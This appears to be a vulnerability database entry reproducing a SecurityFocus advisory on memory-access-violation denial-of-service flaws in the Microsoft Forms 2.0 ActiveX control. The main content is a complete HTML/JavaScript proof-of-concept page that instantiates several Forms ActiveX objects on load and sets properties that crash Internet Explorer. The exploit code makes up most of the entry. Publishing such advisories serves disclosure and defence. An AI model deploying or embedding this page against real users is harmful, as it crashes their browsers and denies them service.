Microsoft Forms 2.0 ActiveX Control 2.0 Memory Access Violation Denial of Service Vulnerabilities

🗓️ 01 Jul 2014 00:00:00Reported by RootType

Microsoft Forms 2.0 ActiveX Control 2.0 Memory Access Violation Denial of Service Vulnerabilitie


                                                source: http://www.securityfocus.com/bid/26414/info

Microsoft Forms 2.0 ActiveX Control is prone to multiple memory-access violation denial-of-service vulnerabilities.

Attackers can exploit these issues to crash Internet Explorer and deny service to legitimate users.

Note: Forms 2.0 ActiveX is distributed with any application that includes Visual Basic for Applications 5.0. 

&#60;html&#62;
 &#60;head&#62;
  &#60;script language=&#34;JavaScript&#34; DEFER&#62;
    function Check() {
      var obj;

      //Forms.Checkbox.1
      obj = new ActiveXObject(&#34;Forms.Checkbox.1&#34;);
      obj.Caption = &#34;A&#34;;
      obj.GroupName = &#34;A&#34;;
      obj.Accelerator = &#34;A&#34;;

      //Forms.OptionButton.1
      obj = new ActiveXObject(&#34;Forms.OptionButton.1&#34;);
      obj.Caption = &#34;A&#34;;
      obj.GroupName = &#34;A&#34;;
      obj.Accelerator = &#34;A&#34;;

      //Forms.ToggleButton.1
      obj = new ActiveXObject(&#34;Forms.ToggleButton.1&#34;);
      obj.Caption = &#34;A&#34;;
      obj.GroupName = &#34;A&#34;;
      obj.Accelerator = &#34;A&#34;;

     //Forms.ComboBox.1
     obj = new ActiveXObject(&#34;Forms.ComboBox.1&#34;);
     obj.Text = &#34;A&#34;;
     obj.Value = &#34;A&#34;;
    

     //Forms.TextBox.1
     obj = new ActiveXObject(&#34;Forms.Textbox.1&#34;);
     obj.Text = &#34;A&#34;;
     obj.Value = &#34;A&#34;;
     obj.SelStart = 1;
}
  &#60;/script&#62;

 &#60;/head&#62;
 &#60;body onLoad=&#34;JavaScript: return Check();&#34; /&#62;
&#60;/html&#62;

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1